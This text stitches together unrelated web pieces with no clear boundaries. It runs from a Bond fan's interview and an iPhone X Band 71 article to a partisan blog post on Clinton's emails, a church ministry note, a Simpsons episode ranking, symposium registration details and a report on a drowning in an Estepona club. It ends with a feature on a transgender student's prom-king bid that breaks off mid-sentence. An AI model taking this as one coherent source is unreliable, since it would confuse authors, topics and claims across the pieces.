favourite Bond Girl based entirely on who we find attractive or who is our favourite Bond Girl based solely on their actual character in the film? If we go for the former I’m a big fan of: Honey Ryder, Tanya Romanova, Pussy Galore, Domino, Fiona Volpe, Solitaire, Naomi, Corrine Dufour, Lupe Lamora, Xenia Onatopp, Elektra King, Miranda Frost, Vesper Lynd, Camille and Severine… which is quite a few really!!  And if we’re talking about the latter I’d have to say my top choices would be Pussy Galore, Tracey Di Vicenzo and Vesper Lynd.  Hmm, I’m aware this is far from a straight answer so more specifically I will try to narrow it down to two (or possibly three or maybe four), which is a supremely difficult job!  My favourite Bond Girl for being the best match for Bond and ultimately the best Bond Girl character in the series is, without doubt, Tracey Di Vicenzo from OHMSS. The fact she is an equal for Bond and can fight, drive, ski, skate, handle a gun, is intelligent, independent, complex, strong, and loving leaves her head and shoulders above the rest and Diana Rigg is superb in the role.  Based purely on who gets my blood flowing the most, I’m going to have to opt for a triple hitter of Fiona Volpe, whose honey trap claws could have tempted me any time!! (Without a doubt one of the best villainesses in the series), her fellow onscreen Bond Girl, Claudine Auger, who had one of the sexiest smiles in the series and Pussy Galore for whom I would keep playing it easy all day long!!  Favourite James Bond Actor?  For me, my favourite Bond actor has never changed throughout my life as a Bond fan. Although I grew up in the 80s the Bond I saw most, who in my eyes will never be surpassed, was Sean Connery. That man was, and possibly still is, the coolest man on the planet. “He was the original and the best” is a quote often used but in this case it’s 100% accurate.  Sean installed in the character of Bond an animal-like menace, the likes of which has not been seen since. His Bond was a sadistic brute who moved incredibly well, always looked self assured and exuded the epitome of suave coolness. He could pull off every aspect of the character that we’ve come to know and love… he was extremely solid in a fight, had his way with the ladies, was effortlessly sophisticated, and humourous and witty when required. Of all the actors who have played Bond, Connery had ‘it’ more than any other… the type of charisma that very few people in the world come close to.  In joint second place comes each of the other actors to have played James Bond. Depending on my mood on any given day I will always be up for watching George, Roger, Tim, Pearce and Danny Boy and love them all in their own right. Each of them has their strengths which help to keep the series varied and entertaining, but for me, Connery just had everything in the right amount!  Earliest Memory of Bond?  I guess I don’t have any one particular memory, rather a blur of memories from my Bond youth. I happened upon the Bond films thanks to my Dad at a young age of perhaps four or five and remember watching them frequently on the sofa with a big smile on my face. Thunderball is the strongest in my memory but I also remember the flying car while watching TMWTGG at my Gran’s when I was about 7 or 8 but by then I was already well into my Bond.  It is a bit of a shame that I can’t remember a particular moment in time when I got hooked on Bond. A lot of people seem to have that trigger moment but for me I guess I always have been a fan and can’t remember otherwise. Although I do remember lying in bed on frequent occasions in my youth re-enacting Bond’s Acrostar manoeuvres to a T from Octopussy… hmm, perhaps it’s time for another go!  Location you’d love to visit?  This is a very easy question to answer. By far the Bond location I’d most like to visit is Piz Gloria! There are numerous reasons why, including: the fact that the location is pretty much still the same as it is in the film, that it is seen extensively in the film, that OHMSS is currently my favourite bond film and that I’m a huge fan of snow and snowboarding and would love to ride down from the summit with John Barry’s killer tune playing in my ears!  I’ve managed to visit quite a few locations myself including Guincho beach from the OHMSS pretitles and the Karnak Temple in Egypt from TSWLM, both of which were immense, but the location that I got the biggest buzz from so far was Istanbul and its various locations in FRWL especially, TWINE and SF!  Favourite scene in the series?  I could easily write for hours upon hours about all the amazing scenes that have been depicted throughout the series and trying to scale those down to one in every film or even to a top ten would be a mighty challenge. Some of the ones that spring to mind are the cliff parachute jump from Spy, the laser scene from Goldfinger, the death of Tracey in OHMSS, the shooting of Mr White and follow up remark in CR, the shooting of Professor Dent in DN and the KGB attack on the Blayden Safehouse in TLD, to name a few.  There is one scene, however, which I think epitomises the sheer coolness of Bond that will never be topped. It could be said to be the most important scene in film history and undoubtedly holds the most famous line in film history. It is, of course, Bond’s introduction in Dr No. Bond has never looked better in the series than in this moment and they way he is introduced at the casino is the same way Fleming introduced Bond when he first put pen to paper. Whenever I watch that scene I feel an electric shiver which makes my hairs stand on end and reminds me why I love Bond so much!  Most Bondian thing you’ve ever done?  Hmm… this is an interesting question. From an action point of view I guess the closest I’ve come is snowboarding across a mini lake/pond like Bond in AVTAK.  I’ve also walked back-to-back into a pretty female counterpart around the pillars of Karnak temple a la TSWLM which was pretty cool.  One that I’d love to do is to re-enact Bond’s offer of a pair of shoes to Fiona while she’s in the bath… one day maybe! J  More about Chris…  On the rare occasions when Chris is on downtime from doing something Bond-related he likes to be in the outdoors, preferably jumping around like a madman or finding whatever patch of snow he can to slide down. His other hobbies include writing, working on films and crafting To Do lists!
-Apple announced the iPhone X, iPhone 8, and iPhone 8 Plus today. They’re all great phones in many ways, but they have one fatal flaw for T-Mobile and its customers: No support for T-Mobile’s new LTE network.  Right now, T-Mobile is in the early stages of rolling out a brand-new 600MHz network nationwide. The first sites are already online, and T-Mobile is expecting to cover a million square miles by the end of 2017. But the 600MHz network uses a brand-new LTE channel, Band 71, and very few devices support it yet. Sadly for T-Mobile, you can’t add the iPhone 8 or iPhone X to that list.  The specs page for the iPhone X confirms that it supports all the usual North American LTE bands, but not Band 71. However you frame this, it’s a blow for T-Mobile. The iPhone X is widely expected to spark an upgrade “super-cycle” that will see people on the iPhone 6 and 6S spring for the upgrade, since they’re buying a phone that they expect to last for years. That phone — expected to last for at least two years — won’t be compatible with the LTE band that T-Mobile is expecting to be the backbone of its network going forwards.  Compatibility with 600MHz will become a big deal for T-Mobile customers, assuming you like actually using your phone when you’re out and about. Lower frequencies travel further and penetrate buildings better, which all adds up to superior coverage, especially inside buildings or in rural areas. Verizon has relied heavily on its 700MHz spectrum for years, and it’s a big part of the reason it keeps winning coverage awards. T-Mobile’s 600MHz network promises to be just as good or better, but you can only take advantage of it if your phone is compatible. 600MHz compatibility is only going to get more important as time goes on. T-Mobile is planning on having 600MHz coverage over 1,000,000 square miles by the end of this year, and by the end of 2018, it will play a big part in its national coverage — unless you have an iPhone X.  There’s no doubt in my mind that T-Mobile wanted the iPhone X to support Band 71. CTO Neville Ray told me last month that T-Mobile is putting “as much, if not more effort into devices than the network” — and that’s a big statement, because T-Mobile is working hard on rolling out 600MHz. But T-Mobile only secured the 600MHz licenses in an auction early this year, which likely wasn’t enough lead time to build band 71 into the iPhone X’s modem.  But whichever way you cut it, this isn’t great news for T-Mobile. It’s going into 2018 with just one flagship phone with B71 support, and that’s the LG V30, which is the most niche phone that I’d consider a common flagship. The Galaxy S9 will almost definitely have B71 support, but we’ll be waiting until next year for an Apple phone that includes it. Worse, anyone who buys an iPhone right now and wants to switch in six months won’t have the benefit of T-Mobile’s full LTE network. That’s not going to do much for T-Mobile’s PR campaign to have the best network.  In short: if you’re buying an iPhone 8 or iPhone X, you probably shouldn’t go with T-Mobile. If you do, I’d go for a lease, rather than buying the phone on an instalment plan. That way, when the iPhone X2 shows up next year, you’ll be able to jump ship.
-As I mentioned yesterday, New Year’s Eve was the deadline for the latest batch of Hillary Clinton’s emails to be released by the State Department. While they fell 2,000 pages short of their court-ordered goal of 43,000 for the year, there are still a lot of interesting stories in what we did get yesterday.  We have already learned from previous email batches that Hillary had very close ties to Sidney Blumenthal. This latest group, however, show just how much the Secretary tried to conceal this relationship from others. Per Sarah Westwood of the Washington Examiner:  For example, after Blumenthal emailed her a Foreign Policy story in March 2010 about Gen. David Petraeus and prefaced the article with a personal note, Clinton asked an aide to print five copies of the email “but w/o heading from Sid.”  Clinton has tried in the past to dismiss Blumenthal’s input as unsolicited advice, but the more of these revelations we see, the further this excuse crumbles. If Herself didn’t value his input, she would have told him to get lost at some point, even if not in those exact words, at some point. That’s how she operates.  We can also see evidence of how close the Clinton Foundation was tied into her work at the Department. From the same article:  Another email indicated State Department staff members were heavily involved in a 2011 Clinton Global Initiative event. The message, written in Sept. 2011 and forwarded to Clinton’s personal email address, showed 10 top State Department officials were planning to participate in the event in some capacity. That included a dinner hosted jointly by the Clinton charity and Goldman Sachs, a longtime Clinton campaign donor.  It shouldn’t surprise anyone at this point that the Clinton Foundation exists to promote both Bill and Hillary’s interests and careers, but emails like this one show just how deeply intermingled her work with the Foundation was with her work as Secretary. That is a scandal in and of itself even without the emails.  The most interesting revelation from these emails, though, is Herself’s secret connection to Obamacare. We all know about how the failure that was Hillarycare paved the way for future efforts at socializing medicine, of which Obamacare is currently chief. However, an email from adviser Neera Tanden to Secretary Clinton in May of 2010 reveals that Hillary played a role in the development of the Affordable Care Act. From Philip Klein:  Tanden informed Clinton that she was pitching New York Times healthcare reporter Robert Pear on the idea that many elements of Obamacare could be traced back to proposals originating with Clinton. Tanden wrote, “The one question I wanted to ask you is about your idea on using FEHBP as a kind of a public option. I know you gave that to Rahm last August, and then mysteriously, it was in the Senate Finance package like a month later.” […] In this email Tanden is suggesting that an alternative to the public option originated with Clinton, and went through Emanuel, and into the final bill in order to secure passage. Emanuel, during the 1990s, served as a senior adviser to President Clinton. The provision that Tanden appears to be referring to is one that’s now called the multi-state plan program. Under the program, the Office of Personnel Management, which runs the Federal Employees Health Benefits Program (FEHBP), contracts with private health insurers in each state to sponsor plans. “None of us had ever discussed it in the policy process of the WH and I didn’t hear of it in the Hill, so my assumption is that Rahm gave them your idea as a substitute for the public plan, which didn’t have the votes,” Tanden wrote to Clinton in the email sent roughly two months after Obamacare’s final passage. “I know that was all top secret, but I’m wondering if I should give Robert some hint of this only because it was a linchpin to moving the bill. I would get him sniffing around on it, so he’d write it more as his own reporting discovery (hopefully). i know institutionally it was hard for Rahm to be pitching public plan substitutes.”  This email provides concrete evidence that Hillary Clinton played a role in crafting Obamacare. It’s the sort of information that could be enormously useful in proving that her history of making gigantic mistakes during her time with the Obama administration spans both foreign and domestic policy. Obamacare is still an albatross, and the more we can tie it around her neck, the better.  In all, though, there isn’t really anything new in this latest batch of emails, just more information on problems we already knew existed. What we have here is just more concrete evidence of things we already suspected to be true. They are still useful for us as we head into the 2016 election season, but there’s nothing truly earth-shattering. With that said, we should still make sure Congress is doing its due diligence on the matter, and we should also make sure the Republican candidates don’t let all of this ammunition go to waste.
-Consider for a moment some of the tremendous privileges and blessings the Internet and technology affords believers these days.  Today we have the easiest and freest access to faithful Bible teaching that the church has ever enjoyed. On radio and streaming online, you can hear faithful expositors exalt and explain God’s Word at any time of the day or night. Moreover, you can dig through church history into the teaching legacies of godly men who helped protect and preserve the faith we hold so dear. And through the advent of smartphones, tablets, and other devices we routinely carry today, that immense wealth of Bible teaching and spiritual wisdom is never more than a couple taps away.  However, those technological advancements can actually short circuit the life of the church. Many believers today think they can get the teaching and worship they need from a church through ministries online. In fact, some people have told us bluntly that Grace to You has become their church.  We asked John MacArthur about that trend, and here’s how he responded:  The church is where believers fellowship with one another, disciple each other, and put their giftedness to work for the sake of the Body of Christ. No online ministry can replace the role of the church in the life of the believer.  We’re not interested in substituting for the church. But we do want to be an asset to you, stimulating your spiritual growth and building up your faith so that you, in turn, can be an asset to your local church.
-The first classic episode of The Simpsons is a satire on political spin, as C Montgomery Burns decides to run for office after his nuclear plant's egregious environmental record is revealed. Special mention for Burns' campaign advert, in which he tries to rebrand a mutant, three-eyed fish as an example of natural selection – with the support of Charles Darwin himself – and which ends with the jingle "Only a moron wouldn't cast his vote for Monty Burns!"  Best line: Burns: "Ironic, isn't it, Smithers. This anonymous clan of slack-jawed troglodytes has cost me the election, and yet if I were to have them killed, I would be the one to go to jail. That's democracy for you."  In which Homer comes face to face with God (“Perfect teeth. A nice smell. A class act all the way”). Homer skips church one Sunday and, on the back of an enjoyably lazy morning, decides never to go back again. When he's ultimately undone, neighbours of all religious denominations ("Christian, Jew, or miscellaneous," as Reverend Lovejoy puts it) come to his rescue. So despite Homer's appealing-looking heresy, ultimately the message about faith is positive (and even profound).  Best line:  Bart: "Hey, where's Homer?"  Marge: "Your father is ... resting."  Bart: "'Resting' hung over? 'Resting' got fired? Help me out here."  ROSEBUD  Season 4, Episode 5  This pitch-perfect homage to Citizen Kane sees evil billionaire Mr Burns imbued with a never-before-seen sense of humanity and innocence as he searches for his lost childhood bear, Bobo. Bobo, it transpires, has fallen into the hands of Maggie, and Mr Burns tries to win the bear back by denying the people of Springfield the two things they really value: beer and television.  Best line: Smithers: "Look at all the wonderful things you have, Mr. Burns: King Arthur's Excalibur, the only existing nude photo of Mark Twain, and that rare first draft of the constitution with the word 'suckers' in it."  MARGE VS THE MONORAIL  Season 4, Episode 12  Conan O'Brien is behind the script for this episode. After Springfield wins $3 billion in fines from Mr Burns, they are persuaded by a charismatic con artist to spend the lot on a monorail, which ends in inevitable disaster. A terrific, zany episode that has some great musical moments, from the monorail song itself, to Homer's homage to The Flintstones.  Best line: Homer (singing): "Simpson! Homer Simpson. He's the greatest guy in history. From the town of Springfield! He's about to hit a chestnut tree. AARGH!"  LAST EXIT TO SPRINGFIELD  Season 4, Episode 17  Dentistry and industrial relations: a characteristically quixotic combination of themes tie this episode together. When Mr Burns tries to swap his workers' dental benefits for a keg of beer, Homer inadvertently becomes a union leader, his buffoonery interpreted as tough business acumen by Mr Burns.  Best line: Mr. Burns: "This is a thousand monkeys working at a thousand typewriters. Soon, they'll have finished the greatest novel known to man. [reads a page] All right, let's see ... 'It was the best of times, it was the blurst of times?' You stupid monkey!"  HOMER'S BARBERSHOP QUARTET  Season 5, Episode 1  The story of the Beatles-esque rise and fall of Homer’s barbershop quartet is sweetly told, features great songs (most notably Baby on Board), countless cultural references and a perfect ending. Even by Simpsons' standards, it's ridiculously layered and on the 15th watch you can still spot things you'd missed. A classic.  Best line:  Lisa: "I can’t believe you’re not still popular."  Bart: "What’d you do? Screw up like The Beatles and say you were bigger than Jesus?"  Homer: "All the time. It was the title of our second album."  CAPE FEARE  Season 5, episode 2  This parody of Cape Fear might just be Sideshow Bob’s finest hour: writing in blood both death threats and letters to the Readers Digest; convincing his parole hearing that his “Die, Bart, Die” tattoo is simply the German for “The, Bart, The”; being hit in the face by rake after rake after rake before eventually performing Gilbert and Sullivan’s HMS Pinafore with a mop on his head.  Best line: Juror: “No one who speaks German could be an evil man.”  • Sideshow Bob will finally kill his nemesis Bart Simpson  THE LAST TEMPTATION OF HOMER  Season 5, Episode 9  Throughout The Simpsons, Homer’s adoration for Marge is unwavering. But with the arrival of Mindy, an attractive new colleague who shares all of his interests, Homer is swayed away from his flu-ridden wife. It’s a mark of the writers’ success that Homer remains the good guy throughout this episode. That it also involves flying monkeys, Bart’s temporary transformation into a geek and a cover of Barry Manilow’s Mandy is a bonus.  Best line:  Mindy: "What's wrong?"  Homer: "Oh yeah, like you don't know! We're gonna have sex."  Mindy: "Oh ... well, we don't have to."  Homer: "Yes, we do. The cookie told me so."  Mindy: "Well, desserts aren't always right."  Homer: "But they're so sweet."  HOMER BADMAN  Season 6, Episode 9  Homer is accused of sexual harassment when he attempts to retrieve a gummy bear in the shape of the Venus de Milo from his feminist babysitter's bottom. It's a sharp satire on media-led witch-hunts, with protesters gathering outside the Simpson home – “2-4-6-8, Homer's crime was very great! Great meaning large or immense! We use it in the pejorative sense!” The made-for-TV movie of Homer's crime ("Homer S: Portrait Of An Ass-Grabber") is a particular treat.  Best line: Kent Brockman: "Of course, there's no way to see into the Simpson home without some kind of infrared heat-sensitive camera. So let's turn it on!" [Cuts to an x-ray view of the Simpson home, with two heat sources visible: the whole family on the sofa and a turkey in the oven.] "Now, this technology is new to me, but I'm pretty sure that's Homer Simpson in the oven, rotating slowly." [Camera zooms in for a shot of the turkey] "His body temperature has risen to over 400 degrees – he's literally stewing in his own juices."  HOMER THE GREAT  Season 6, Episode 12  Homer briefly becomes the messiah of a Freemasons-type outfit called The Stonecutters, before driving the club into ruin and being expelled by the members of its replacement, The Ancient Mystic Society of No Homers (into which another Homer, Homer Glumplich, is admitted). The organisation’s original leader, Number One, is voiced with Shakespearean gravity by Patrick Stewart, although all he really wants to do is get drunk and play ping-pong.  Best line: The Stonecutters’ musical number: “Who holds back the electric car?/ Who makes Steve Guttenberg a star?/ We do, we do!”  LISA'S WEDDING  Season 6, Episode 19  A fortune teller offers Lisa a glimpse into the future (the year 2010). Twenty-three-year-old Lisa is engaged to her dream man: a Hugh Grant parody named Hugh Parkfield, who appears to be everything she wants. There’s just one catch – this cultured, sophisticated Brit can’t stand Lisa’s family. Part of the episode’s fun come from seeing the Simpsons all grown up: teenage Maggie gets interrupted every time she tries to speak, Bart is a demolition expert, and Homer is virtually unchanged apart from a missing single hair. But it also manages to be genuinely touching, with Lisa finally choosing her embarrassing family over Hugh.  Best line: Marge (on the phone to Lisa): “Lisa! Hello. How are you doing in England? Remember, an elevator is called a 'lift', a mile is called a 'kilometre', and botulism is called 'steak and kidney pie'".  TWO DOZEN AND ONE DALMATIONS  Season 6, Episode 20  A 101 Dalmatians parody that manages to squeeze in references to everything from Spartacus to Lady and the Tramp, Two Dozen and One Greyhounds sees Bart and Lisa attempt to rescue a litter of stolen puppies from Mr Burns. Its most enjoyable sequence comes when Mr Burns reveals his dastardly plan to skin the greyhounds and turn them into a fur coat – via the brilliantly inventive ditty See My Vest (sung to the tune of Be Our Guest). As Bart himself says: “You gotta admit, it's catchy.”  Best line: Mr Burns (singing): “Like my loafers? Former gophers/It was that or skin my chauffeurs/ But a greyhound fur tuxedo/Would be best …”  LEMON OF TROY  Season 6, Episode 24  Local pride bonds father and son in this episode as we find out about the turnip-juice-drinking ways of Springfield’s neighbouring and rival town, Shelbyville. A string of cultural references are hidden within Lemon of Troy, including nods to Prince’s When Doves Cry, Rocky Balboa and Orwell's Nineteen Eighty-Four.  Best line: Flanders: “Look, I called the police captain in Shelbyville and he said he hadn't seen them. But if they show up in the morgue, he's gonna fax us.”  WHO SHOT MR BURNS, PART I  Season 6, Episode 25  A true televisual event – Fox ran a phone contest for people trying to guess the identity of Mr Burns’ assailant – as well as a sterling episode in its own right. When oil is discovered underneath Springfield Elementary School, Mr Burns sets up a slant-drilling operation to siphon it away, provoking the ire of his fellow townspeople. But who fired the shot that felled him?  Best line: Mr Burns: “Since the beginning of time, man has yearned to destroy the sun.”  TREEHOUSE OF HORROR VI  Season 7, Episode 6  An imaginative Treehouse of Horror episode, whose three separate stories take inspiration from Attack of the Fifty Foot Woman, Nightmare on Elm Street and The Twilight Zone. The last of those, Homer3, sees Homer enter a mysterious “third dimension”, where the creators get to play with 3D animation and indulge in some self-referential fun. Nineties gamers will also appreciate a rather nice nod to the library from Myst.  Best line: Marge [voice-over]: “It all started on the 13th hour, of the 13th day, of the 13th month. We were there to discuss the misprinted calendars the school had purchased.”  THE SUMMER OF 4 FT 2  Season 7, Episode 25  With just one 20 minute episode, The Simpsons packs in all the pathos and joy of a classic coming-of-age movie. After finishing the school year friendless, Lisa casts off her nerd image on a family holiday, befriending a group of cool kids headed by Erin (Christina Ricci). Bart, naturally, is furious that Lisa is trying to usurp his position as Cool Simpson, and wreaks revenge. One of those episodes where The Simpsons doesn't only crack wise, it just is wise.  Best line: Erin: "Who does he think he is, with that slingshot in his back pocket? Dennis the Menace?"  YOU ONLY MOVE TWICE  Season 8, Episode 2  This brilliant extended Bond parody features one of the great minor characters in Simpsons history: Hank Scorpio, the hip, touchy-feely owner of Globex Corporation who turns out to be a Blofeld-esque super-villain.  Best line:  Marge: "Mr. Scorpio, this house is almost too good for us. I keep expecting to get the bum's rush."  Hank Scorpio: "We don't have bums in our town, Marge, and if we did they wouldn't rush, they'd be allowed to go at their own pace."  EL VIAJE MISTERIOSO DE NUESTRO JOMER (THE MYSTERIOUS VOYAGE OF HOMER)  Season 8, Episode 9  After arguing with Marge and downing several “Guatemalan insanity peppers” at a chilli cook-off, Homer undergoes a hallucinogenic spiritual journey (partly inspired by the writings of Carlos Castaneda). He meets his spirit guide – a coyote – who urges him to find his true soulmate. Luckily, by the end of the episode, Homer realises that Marge was his soulmate all along. Exploring themes of marriage and alcohol abuse, the episode also manages to squeeze in a Springfield rendition of “Short Shorts” But the very best thing of all? Johnny Cash voices the coyote.  Best line:  Homer: “It's like you're from Venus ..."  Marge: "And you're from Mars."  Homer: "Oh, sure, give me the one with all the monsters."  THE ITCHY & SCRATCHY & POOCHIE SHOW  Season 8, Episode 14  In this delightfully self-referential episode, the producers of The Itchy and Scratchy Show attempt to revitalise its flagging ratings with the introduction of a new character (Krusty: “Whaddya got in mind? Sexy broad? Gangster octopus?”). In the end they settle on a streetwise dog named Poochie, voiced by Homer (meanwhile the Simpsons gain a Poochie-alike houseguest named Roy). The episode disgusts the show’s fans and Poochie is written out of the series when he is revealed to be an alien (a handwritten frame reads: “Note: Poochie died on the way back to his home planet”).  Best line: Comic Book Guy: “Worst episode ever.”  HOMER'S PHOBIA  Season 8, Episode 15  Not every guest appearance on The Simpsons has resulted in a cast-iron classic, but John Waters's episode, which explodes many myths about being gay, is one of the best. Waters plays a man named John, whose budding friendship with Marge and the rest of the family is threatened when Homer discovers that he's homosexual, and begins to worry that his influence might turn Bart gay.  Best line: Homer: "You know me, Marge. I like my beer cold, my TV loud, and my homosexuals f-laming!"  HOMER VS THE 18TH AMENDMENT  Season 8, Episode 18  Duff beer is certainly the life blood of Homer Simpson, if not the entire cartoon. So it makes sense that when someone is needed to pioneer Springfield’s bootlegging business, it would be Homer. His profitable career as the Beer Baron is short-lived; soon he must face punishment by means of an ancient catapult. Minor-character points go to the suave Rex Banner.  Best line: “To alcohol! The cause of, and solution to, all of life's problems."  HOMER'S ENEMY  Season 8, Episode 23  One of the darkest entries in the Simpsons canon allows us to imagine what it truly would be like to live alongside someone like Homer J Simpson, with the help of a memorable supporting character. Frank Grimes (immediately nicknamed "Grimey" by Homer) is his conscientious new co-worker, driven increasingly insane by the laziness and ineptitude of his colleagues, finally electrocuting himself to death as he pantomimes Homer's idiocy.  Best line:  Grimes [talking about Homer]: "God, he eats like a pig!"  Lenny: "I dunno. Pigs tend to chew. I'd say he eats more like a duck."  THE SIMPSONS SPIN-OFF SHOWCASE  Season 8, Episode 24  Troy McClure hosts this compilation episode dedicated to a succession of (perfectly) badly written Simpsons spin-off shows: a buddy cop drama called Chief Wiggum, PI, Moe Szyslak’s laugh-tracked sitcom The Love-Matic Grampa, and a song-and-dance spectacular, The Simpson Family Smile-Time Variety Hour, in which Lisa is replaced with a beautiful, dim teenage girl.  Best line: Chief Wiggum: “It’s no cakewalk being a single parent, juggling a career and family like so many juggling balls … two I suppose.”  MR PLOW  Season 9, Episode 4  Challenge a Simpsons fan to sing the Mr Plow jingle and few would decline. Another of Homer’s surprisingly successful ventures (see the Beer Baron), his snowplowing business overcomes fallouts and rescue missions, only to be conquered by the elements.  Best line: Homer: "Now, we play the waiting game. [waits] Ahh, the waiting game sucks. Let’s play Hungry Hungry Hippos!"  ALONE AGAIN, NATURA-DIDDILY  Season 11, Episode 14  Homer is forced to overcome his irritation towards his God-fearing neighbour Ned Flanders when he causes the death of Flanders's wife, Maude. We watch Ned go through the grieving process and temporarily denounce God before finding a new woman. The entire process also allows us to witness Bart playing nice with the well-behaved, high-pitched Flanders boys, Rod and Todd.  Best line:  Lovejoy: "In many ways Maude Flanders was a supporting player in our lives. She didn't grab our attention with memorable catch phrases or comical accents."  Willie: "Aye!"  Sea Captain: "Yarr!"  Frink: "Oh Glaven!"  This is our list, but what do you think? Are we too heavy on the Nineties "golden age"? Should there be fewer Homer-centric episodes? Argue for your favourites in the comments section below.
-2019 Symposium Online Pre-Registration  July 31 – August 3, 2019  Sandy, Utah  THEME: Threads in the Mormon Tapestry  Online Registration for the 2019 Summer Symposium will close July 26, 2019 at Midnight. After online registration is closed, you will need to register at the door.  This year, Sunstone is offering at option for our those that can’t travel to the physical symposium, but don’t want to miss out on the fun! Register as a digital attendee and get access to all of the great Sunstone content and be a part of the Symposium from anywhere. Click here to register.  Symposium Pre-registration Prices  Sunstone is happy to announce that all audio for sessions this year will be free and available to the public online six months following the symposium. In order to accommodate that change, our prices have changed. Please pay attention to the price differences below.  Please register only for the discounts for which you are eligible. All registration discounts will be verified by Sunstone, and any additional money owed due to inaccurate registration claims will be collected at the door before admittance to the Symposium. A current student ID must be presented at the registration desk to qualify for the student discount.  (If you have any difficulties registering, please email Sunstone at info@sunstone.org or call Grace at the office at 801-355-5926)  *If you are planning on eating dinner Saturday night at our banquet, you must purchase your ticket in advance. Dinner tickets must be purchased in addition to registration tickets. Dinner tickets are limited and available on a first-come basis.  IMPORTANT INFORMATION REGARDING REGISTRATION:  Once you register you will receive an email confirmation as well as a reminder one week prior to the event. Tickets will be available under the name registered at the check-in desk. If you are registering for more than one person, please include names for every ticket so that each attendee will have a correct name badge. 3-day registration includes full access to conference schedule (with exception of dinner ticket) Thursday 31 – Saturday 3, 2019. Each session is first-come up until room capacity is reached. Although there will be room for every attendee at the conference, Sunstone cannot guarantee admission into your preferred session. Please plan your schedule accordingly. If the session you wish to attend fills up, you will have to choose from another session on the program. There are a limited amount of single session tickets available for each session, please purchase single session tickets early to guarantee your spot into the session you wish to attend. If you missed a session you were hoping to attend, 2019 symposium audio can be purchased on site or online after the conference.  Online Registration for the 2019 Summer Symposium will close July 26, 2019 at Midnight. Prices increase $10 at the door.
-THE owner of an Estepona sex club where a woman drowned on Sunday December 4 has been taken into custody. The man has been arrested so that the police can shed some light on the circumstances surrounding the young woman’s death.  There has been strong speculation that the woman, who was Romanian, was working illegally in the brothel, named Club California. The owner of the club will now be questioned to determine if this is true. Reports have indicated that he has denied these accusations.  The police are also attempting to determine whether the young woman had been locked in the basement. Were this proven to be the case, the owner of the nightclub could be charged with manslaughter. She had reportedly been the only person in the building at the time of her death.  According to the man, the woman had just been passing through, as she had a friend who was working there. He insisted that in his establishment, “no one is kept against their will.”  As expected, the postmortem examination has confirmed that the 26-year-old woman died from drowning after she became trapped in the basement of the nightclub. The building had become flooded following the heavy rainfall which occurred in the area last weekend. The exact identity of the victim has still not been determined, although her name has been reported as Alicia in the Spanish press.  In the moments leading up to her death, the woman had called a friend, saying that she was surrounded by water. Reports have indicated that she climbed onto a bar and tried to open a window to escape, but had been unable to do so. Firefighters went to the scene and found the woman’s lifeless body floating in the water.  In the aftermath of the death, Podemos representatives in Estepona have drawn attention to the issue of illegal prostitution. They argued that many of these women are being exploited and went on to describe the recent tragedy as a wake-up call for the town. Party members stated that “now is not the time to look the other way, but rather this is the moment to tackle the matter of prostitution in our community.”
-SEMINOLE — Concrete, coveted Osceola High, with its demerit system and monthly parent meetings and ban on flip-flops, is the only fundamental high school in the state of Florida. Fundamental schools, to borrow a phrase from Pinellas literature, are "like schools used to be." Cut off from Lake Seminole by a forest of pines, Osceola promises a top-tier public education with no disruptions getting in the way, no distractions tolerated.  "Have you heard?"  This was two weeks ago, in a leadership class at Osceola. Two students are talking, loud enough for others to hear. "Heard what?"  "There's a girl running for prom king."  "What? Who?"  This is a story about Sebastian Rollins, born Gina, an 18-year-old who seems to be the first transgender student to run for prom court in Tampa Bay.  Afraid of getting in trouble, Sebastian was quiet about his identity at school.  But if his school could see him as a king, he thought, then maybe it could see him as a man.  • • •  "What do you want to be when you grow up?"  His grandmother asked 13 or 14 years ago, before he had even started kindergarten.  "I want to be a boy," Sebastian said.  Playing pretend with his little brother, he had imagined himself as male heroes. When his breasts came in, they felt wrong.  Sebastian thought girls were cute, and started to tell friends he was gay. In the seventh grade, he took his brother's boxers out of the dryer and wore them around all day under his jeans. He didn't tell anyone about that. Middle school was tough enough as it was.  The butt of the joke in sex-ed classes, Sebastian got used to other kids coming up to him and asking, "What's wrong with you?" He thought about suicide. He cut his arms; you can still see scars when it gets cold out.  But high school was different, Sebastian says. More people came out. He took art and music classes. He cut off his hair.  In the summer after sophomore year, Sebastian met Sammy Blazejack, now 18, when she asked to borrow his hair brush. They've been a couple since.  Then one morning about a year ago in the girls' bathroom at Osceola, where the tile carries every sound and girls apply makeup at the mirrors, Sebastian heard three students whispering.  "Is he in the right bathroom?"  "Does he know this is the girls' room?"  "Oh my god, it's a girl."  Sebastian threw open the stall and washed his hands while staring at them but didn't say a word. He didn't want to get any referrals, which could get him kicked out of a fundamental school.  But he started telling his friends and family he was not a girl, never was. He was a him. He told them to call him Sebastian. He liked the sound of it.  Sebastian bound his breasts with an Ace bandage. Sebastian used the men's fitting room at the mall. Sebastian used the men's bathroom at the movie theater. Sebastian was himself, and he was happy.  But school remained a different story. His classmates didn't understand what was going on with him. His teachers called him Gina. He didn't correct them.  At Osceola, Sebastian uses the girls' bathroom and the girls' locker room. Again, he is afraid of getting referrals and losing his seat at the school.  Running for prom king came up as a joke, then. It would be funny if he ran for prom king, wouldn't it? His friends laughed along. Sebastian kept thinking about it. What if he did run?  • • •  Six-feet-nine with the hands of a bear and the face of a Kennedy, the principal of Osceola Fundamental High School is Mike Bohnet. Many years ago, in Michigan, Bohnet was on homecoming court. "It was nice," he says.  When Sebastian asked to run for king, Bohnet says all he did was look for Pinellas policies or procedures that would prohibit it. There was no discussion of feelings, he said, no flowery language, no talk of progress.  Last week, the U.S. Department of Education issued a statement confirming the federal Title IX law prohibits discrimination against transgender students.  Pinellas has no policies specifically addressing transgender students, school board attorney David Koperski said. "We respect all state and federal laws, as well as our own polices, regarding antidiscrimination."  Bohnet declined to allow a reporter and photographer into Osceola during voting for prom court: "It would be disruptive."  But he let Sebastian run. Whether he would win, Bohnet said, was a decision for the students.  • • •  "What? Who?"  "Gina. She's running."  The rumors came quickly: Gina, as his classmates called Sebastian, was running for attention. Gina was only saying he was a boy to get elected. Gina was ruining tradition. And perhaps the most pervasive rumor was that some of the girls didn't want to run for queen because of him.  "If he wins, the traditional system is the boy and girl match up, and the king and queen dance. Some of the girls don't want to dance with Gina," said Lorenzo Bright, an 18-year-old senior.  Bright also ran for king. He said he supported Sebastian and might vote for him.  So did Monica Mezerowski, an 18-year-old senior who ran for queen. "She's very funny, she's very intelligent, and she goes for what she wants."  The school has an active Gay-Straight Alliance. But even junior Logan Rogers, who is gay, said he wasn't initially in favor of Sebastian's bid for king.  "I was a little weirded out, because it's not the normal thing to do. I know that contradicts my own situation," said Rogers, 16. "But honestly, who cares? Who does 